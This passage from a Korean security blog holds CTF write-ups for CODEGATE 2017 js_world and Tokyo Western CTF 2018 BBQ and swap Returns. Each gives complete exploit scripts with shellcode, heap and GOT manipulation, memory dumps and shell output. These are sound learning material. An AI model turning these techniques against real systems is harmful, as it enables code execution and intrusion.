SpiderMonkey javascript engine은 반복되는 코드가 있으면, rwx 권한의 JIT area를 할당하고 반복되는 코드에 대해 native code를 생성하여 JIT area에 write한다. 이후 반복되는 코드를 수행하면 JIT area에 있는 native code를 실행하여 실행속도를 높인다.


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


// create JIT area
for(i=0; i<40; i++){
repeat_me();
}


위 코드가 수행되고 나면 아래와 같이 rwx 영역이 생성되고, JIT area에 repeat_me() 함수에 대한 native code가 생성된다.


7ffff79a0000-7ffff79b9000 r-xp 00000000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff79b9000-7ffff7bb8000 ---p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb8000-7ffff7bb9000 r--p 00018000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb9000-7ffff7bba000 rw-p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bba000-7ffff7bd2000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7bd2000-7ffff7dd1000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd1000-7ffff7dd2000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd2000-7ffff7dd3000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7f9c000-7ffff7fe4000 rw-p 00000000 00:00 0
7ffff7fe7000-7ffff7ff7000 rwxp 00000000 00:00 0                          // JIT area
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]


디버깅을 통해 메모리에서 repeat_me함수의 코드가 있는 JIT area 주소를 찾아보았다. 그 때, JIT area를 가리키는 포인터 주변에 0x2000000020f 라는 상수값이 있는 것을 확인했고, 이를 기준으로 JIT area의 주소를 얻어왔다.


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);


주소를 알아냈으니 shellcode를 overwrite 하고 repeat_me() 함수를 호출하면 된다. shellcraft로 생성한 x64 /bin/sh shellcode를 사용했다.


function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();





Full exploit

function mem_to_value(m){
var res = 0;
var t = new Float64Array([m]);

t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}


function hex(n){
return "0x"+n.toString(16);
}


function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);


// trigger vuln
// arr.length = 0xffffffff
arr.pop();
arr.pop();


// find arr2 object by size(0x900)
var arr2_idx = 0;

for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


b = Math.cos(0x34);
// create JIT area
for(i=0; i<40; i++){
repeat_me();
}
c = Math.cos(0x56);


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);

function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();


Run exploit

$ ./js ex_stack.js
js_heap base : 0x7f1db8200000
pie_base : 0x55d26f6df000
libc_base : 0x7f1db89d1000

$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



$
./js ex_jit.js
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret



Category : pwnable


host : pwn1.chal.ctf.westerns.tokyo
port : 21638
Update(2018/09/02 11:55:00 UTC)
BBQ
BBQ.old
libc-2.23.so



Summary : uninitialized variable, manipulate heap chunks, unsorted bin attack





다른 풀이 방법도 있지만, unsorted bin attack으로 풀겠다고 고집부리다가 꽤 오래 걸린 문제.

취약점은 간단하지만, heap chunk들을 잘 조작해야해서 exploit이 오래걸린다.

그래도 이런 풀이로 풀 수 있는 문제 많을듯. god angelboy.



풀고나서 다른 풀이있나 write-up을 찾아봤는데 좀 지렸다. 나는 전혀 생각못한 방법으로 푸심.


https://changochen.github.io/2018/09/01/Tokyo-Western_CTF-2018/

__malloc_hook 주변에 어떻게 chunk 할당하지 고민하다 포기했는데 ...!

나중에 저 방법으로도 풀어봐야지.




Uninitialized variable


 


cook_list에 존재하지 않는 food를 eat하려고 하면 ptr을 초기화하지 않고 뒤에서 사용함. 

=> uninitialized variable




Exploit

#!/usr/bin/python

from pwn import *

def cmd_buy(name, amount):
ru('Choice: ')
sl('1')
ru('food name >> ')
sl(name)
ru('amount >> ')
sl(str(amount))

def cmd_grill(name, idx):
ru('Choice: ')
sl('2')
ru('which food >> ')
sl(name)
ru('griddle index >> ')
sl(str(idx))
assert 'Not found...' not in rl()

def cmd_eat(idx, choice='3'):
ru('Choice: ')
sl(choice)
ru('griddle index >> ')
sl(str(idx))
rl()

def get_cook_list(needle):
res = ''
ru('Choice: ')
sl('2')
ru('\nFood Stock List\n')
while 1:
tmp = rl()
if 'Cooking List\n' in tmp:
break
if needle in tmp:
res = tmp.split(' ')
ru('which food >> ')
sl('NONEXISTFOOD')
ru('Not found...\n')
return res


#s = process('./bbq')
s = remote('pwn1.chal.ctf.westerns.tokyo', 21638)
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

############# leak heap addr ################
cmd_buy('a'*0x10+p64(0xdeadbeef11)[:6], 0x9090)
cmd_buy('b'*0x1f, 0x9090)
cmd_buy('d'*0x10+p64(0xdeadbeef11), 1337)
cmd_buy('e'*0x2f, 0x9090)
cmd_grill('e'*0x2f, 0)
cmd_eat(0)

cmd_buy('f'*0x27, 0x9090) # overwrite uninitialized_variable[0] = '\x00'
cmd_eat(1) # free(uninitialized_variable)
cmd_buy('d'*0x2f, 0x9090) # re allocated at 3rd obj
heap = u64(get_cook_list(str(1337))[1].ljust(8, '\x00')) - 0x180
print hex(heap)
##############################################

cmd_grill('e'*0x2f, 0)
cmd_grill('e'*0x2f, 1)
cmd_grill('e'*0x2f, 2)

############ unsorted bin attack start ##############
cmd_buy(p64(0xdeadbeef11), 0xc1) # fake unsorted chunk header

cmd_eat(0)
cmd_buy('D' * 0x3e, 3030)
cmd_buy('E' * 0xe, 0x9090)
cmd_eat(1)
cmd_buy('F' * 0x28, 0x9090)

cmd_eat(2)
#raw_input('free unsorted bin>>')
cmd_eat(0, choice=('3'+'a'*0x37+p64(heap+0x280)[:6])) # free fake chunk

cmd_buy(p64(0xffffffffff600804)+'G'*0x1c, 0x9090)

libc_base = u64(get_cook_list('3030')[1].ljust(8, '\x00')) - 0x3c4b78
print hex(libc_base)
cmd_buy('W'*0x1f, 0x9090)
#####################################################

### *chunk->bk -= (main_arena+88 - stdin_buf_end) ####
stdin_buf_base = libc_base + 0x3c4920 - 16
arena = libc_base + 0x3c4b78

dword_offset = ((stdin_buf_base & 0xffffffff) - (arena & 0xffffffff)) & 0xffffffff

cmd_buy('E' * 0xe, dword_offset / 2)
cmd_buy('E' * 0xe, dword_offset - (dword_offset / 2))

cmd_eat(0, choice=('3'+'a'*0x37+p64(heap+0x70)[:6]))
cmd_buy('X' * 0x2f, 0x9090)
##########################################################



'''
gdb-peda$ x/20a 0x7f341cd7d960
0x7f341cd7d960 <_IO_2_1_stdin_+128>: 0xa000000 0x7f341cd7f790
0x7f341cd7d970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0
0x7f341cd7d980 <_IO_2_1_stdin_+160>: 0x7f341cd7d9c0 0x0
0x7f341cd7d990 <_IO_2_1_stdin_+176>: 0x0 0x0
0x7f341cd7d9a0 <_IO_2_1_stdin_+192>: 0xffffffff 0x0
0x7f341cd7d9b0 <_IO_2_1_stdin_+208>: 0x0 0x7f341cd7c6e0 <_IO_file_jumps>
0x7f341cd7d9c0: 0x0 0x0
0x7f341cd7d9d0: 0x0 0x0
0x7f341cd7d9e0: 0x0 0x0
0x7f341cd7d9f0: 0x0 0x0
gdb-peda$
0x7f341cd7da00: 0x0 0x0
0x7f341cd7da10: 0x0 0x0
0x7f341cd7da20: 0x0 0x0
0x7f341cd7da30: 0x0 0x0
0x7f341cd7da40: 0x0 0x0
0x7f341cd7da50: 0x0 0x0
0x7f341cd7da60: 0x0 0x0
0x7f341cd7da70: 0x0 0x0
0x7f341cd7da80: 0x0 0x0
0x7f341cd7da90: 0x0 0x0
gdb-peda$
0x7f341cd7daa0: 0x0 0x0
0x7f341cd7dab0: 0x0 0x0
0x7f341cd7dac0: 0x0 0x0
0x7f341cd7dad0: 0x0 0x0
0x7f341cd7dae0: 0x0 0x0
0x7f341cd7daf0: 0x7f341cd7c260 <_IO_wfile_jumps> 0x0
0x7f341cd7db00 <__memalign_hook>: 0x7f341ca3ee20 0x7f341ca3ea00
0x7f341cd7db10 <__malloc_hook>: 0x0 0x0
'''
############ overwrite _IO_file_jumps #############
#raw_input('trigger>>>>>>>')
libc_one_gadget = libc_base + 0x4526a

pay = ''
pay += '11111' + p64(libc_base + 0x3c6790)
pay += p64(0xffffffffffffffff) + p64(0x0)
pay += p64(libc_base + 0x3c49c0) + p64(0x0)
pay += p64(0x0) + p64(0x0)
pay += '22222222' + p64(0x0)
pay += p64(0x0) + p64(libc_base + 0x3c49e0 - 0x18) # _IO_file_jumps = one_gadget - 0x18
# => 0x7f63e8cb7193: call QWORD PTR [rax+0x18]
pay += p64(0x0) + p64(0x0)
pay += p64(0x0) + p64(0x0)
pay += p64(libc_one_gadget)
sl(pay)
ru('Bye!')
######################################################

s.interactive()
s.close()



$ python ex.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 21638: Done
0x55fc26ec3000
0x7ff0c2505000
[*] Switching to interactive mode

$ id
uid=20025 gid=20000(bbq) groups=20000(bbq)
$ cat /home/bbq/flag.txt
TWCTF{????????????????????????????????}


'CTF' 카테고리의 다른 글

XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03
Tokyo Western CTF 2018 - load  (0) 2018.09.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret



Category : pwnable


SWAP SAWP WASP PWAS SWPA
nc swap.chal.ctf.westerns.tokyo 37567
swap_returns
libc.so.6



Summary : temp = *addr1; *addr1 = *addr2; *addr2 = temp; temp = 0




main



 


프로그램 자체는 굉장히 간단하며 2가지 기능이 존재한다.


(1) set : 2개의 address를 변수에 입력

(2) swap : 설정된 2 address가 가리키는 값을 서로 swap

// temp = *addr1; *addr1 = *addr2; *addr2 = temp; temp = 0


user input과 got를 치환하면 좋겠지만, 2개의 address 말고는 입력받는게 없다.
memory leak을 하고 memory 에서 쓸만한 값들을 긁어모아야 한다.


memory leak


 


printf@got <-> atoi@got를 서로 swap한 뒤에, 메뉴를 입력받을 때 %p를 입력하면 printf("%p"); // stack 주소 leak 가능.

printf의 return value는 출력한 문자 개수이므로, leak 이후 2글자 입력하면 2번 메뉴를 입력한 것으로 인식. 

다시 swap 되어서 printf@got, atoi@got 원래대로 돌아감.


>>> 0x601038 # printf got
6295608
>>> 0x601050 # atoi got
6295632

$ ./swap
1. Set
2. Swap
3. Exit
Your choice:
4
Invalid choice. 1. Set
2. Swap
3. Exit
Your choice:
1
1st address:
6295608
2nd address:
6295632
1. Set
2. Swap
3. Exit
Your choice:
2
1. Set
2. Swap
3. Exit
Your choice:
%p
0x7ffc8e6f3356


Farming


swap 기능을 이용해 do_system 함수 주소를 메모리에 만들고 atoi@got 에 overwrite하기로 결정. 

stack에서 값을 둘러보니 쓸만한 값들 발견함.

(아쉽게도 하위 2번째 byte 0x01에서 0은 aslr 적용 범위라서 성공률 1/16으로 떨어짐. (상위 바이트는 vfprintf랑 do_system이랑 같아서 대부분의 경우 괜찮다. 물론 가끔 실패할 수 있음.)

gdb-peda$ disas system
Dump of assembler code for function system:
0x00007f7e1c7006a0 <+0>: test rdi,rdi
0x00007f7e1c7006a3 <+3>: je 0x7f7e1c7006b0 <system+16>
0x00007f7e1c7006a5 <+5>: jmp 0x7f7e1c700130
0x00007f7e1c7006aa <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007f7e1c7006b0 <+16>: lea rdi,[rip+0x145591] # 0x7f7e1c845c48
0x00007f7e1c7006b7 <+23>: sub rsp,0x8
0x00007f7e1c7006bb <+27>: call 0x7f7e1c700130 # do_system
0x00007f7e1c7006c0 <+32>: test eax,eax
0x00007f7e1c7006c2 <+34>: sete al
0x00007f7e1c7006c5 <+37>: add rsp,0x8
0x00007f7e1c7006c9 <+41>: movzx eax,al
0x00007f7e1c7006cc <+44>: ret

leak : 0x7ffef6595246

gdb-peda$ x/a 0x7ffef6595246 - 0x64e
0x7ffef6594bf8: 0x7f7e1c708a85 <vfprintf+501>
gdb-peda$ x/a 0x7ffef6595246 - 0xa6
0x7ffef65951a0: 0x1
gdb-peda$ x/a 0x7ffef6595246 - 0x67e
0x7ffef6594bc8: 0x3000000018


cmd_set(0x601310+2, stack-0x64e+2) # 0x601310 = 0x7f7e1c70----
cmd_swap()
cmd_set(0x601310-6, stack-0xa6-7) # 0x601310 = 0x7f7e1c7001-- # 0자리는 aslr 적용범위이기 때문에 안 맞을때도 있음.

# 1/16 확률...
cmd_swap()
cmd_set(0x601310-7, stack-0x67e-3) # 0x601310 = 0x7f7e1c700130
cmd_swap()



Exploit

#!/usr/bin/python
from pwn import *

def cmd_set(v1, v2):
ru('Your choice: ')
ss('1\x00')
ru('1st address: \n')
sl(str(v1))
ru('2nd address: \n')
sl(str(v2))

def cmd_swap():
ru('Your choice: ')
ss('2\x00')

def cmd_exit():
ru('Your choice: ')
ss('3\x00')

atoi_got = 0x601050
printf_got = 0x601038
fscanf_got = 0x601020

s = process('./swap')
#s = remote('swap.chal.ctf.westerns.tokyo', 37567)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

##### *atoi_got <-> *printf_got #####
ru('Your choice: ')
ss('5\x00')

cmd_set(atoi_got, printf_got)
cmd_swap()
ru('Your choice: ')
ss('%p')

stack = int(ru('1.')[:-2], 16)
print hex(stack)
ru('Your choice: ')
ss('22') # printf("22") = 2
# swap again...
# atoi_got, printf_got are restored
####################################

#### make do_system@libc address ###
######## 1/16 ######################
'''
gdb-peda$ disas system
Dump of assembler code for function system:
0x00007f7e1c7006a0 <+0>: test rdi,rdi
0x00007f7e1c7006a3 <+3>: je 0x7f7e1c7006b0 <system+16>
0x00007f7e1c7006a5 <+5>: jmp 0x7f7e1c700130
0x00007f7e1c7006aa <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007f7e1c7006b0 <+16>: lea rdi,[rip+0x145591] # 0x7f7e1c845c48
0x00007f7e1c7006b7 <+23>: sub rsp,0x8
0x00007f7e1c7006bb <+27>: call 0x7f7e1c700130 # do_system
0x00007f7e1c7006c0 <+32>: test eax,eax
0x00007f7e1c7006c2 <+34>: sete al
0x00007f7e1c7006c5 <+37>: add rsp,0x8
0x00007f7e1c7006c9 <+41>: movzx eax,al
0x00007f7e1c7006cc <+44>: ret

leak : 0x7ffef6595246

gdb-peda$ x/a 0x7ffef6595246 - 0x64e
0x7ffef6594bf8: 0x7f7e1c708a85 <vfprintf+501>
gdb-peda$ x/a 0x7ffef6595246 - 0xa6
0x7ffef65951a0: 0x1
gdb-peda$ x/a 0x7ffef6595246 - 0x67e
0x7ffef6594bc8: 0x3000000018
'''
raw_input('>')
cmd_set(0x601310+2, stack-0x64e+2) # 0x601310 = 0x7f7e1c70----
cmd_swap()
cmd_set(0x601310-6, stack-0xa6-7) # 0x601310 = 0x7f7e1c7001--
cmd_swap()
cmd_set(0x601310-7, stack-0x67e-3) # 0x601310 = 0x7f7e1c700130
cmd_swap()
#####################################

#### *atoi_got = do_system@libc #####
cmd_set(atoi_got, 0x601310)
cmd_swap()
#####################################

ru('Your choice: ')
ss('sh') # atoi@plt("sh") = do_system("sh")

sl('id')
sl('cat flag')

s.interactive()
s.close()


$ python ex.py
[+] Opening connection to swap.chal.ctf.westerns.tokyo on port 37567: Done
0x7ffc53bd1da6
[*] Switching to interactive mode

$
uid=37567012 gid=37567(p37567) groups=37567(p37567)
TWCTF{??????????????????}


'CTF' 카테고리의 다른 글

CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03
Tokyo Western CTF 2018 - load  (0) 2018.09.03
WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit)  (0) 2018.08.24

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret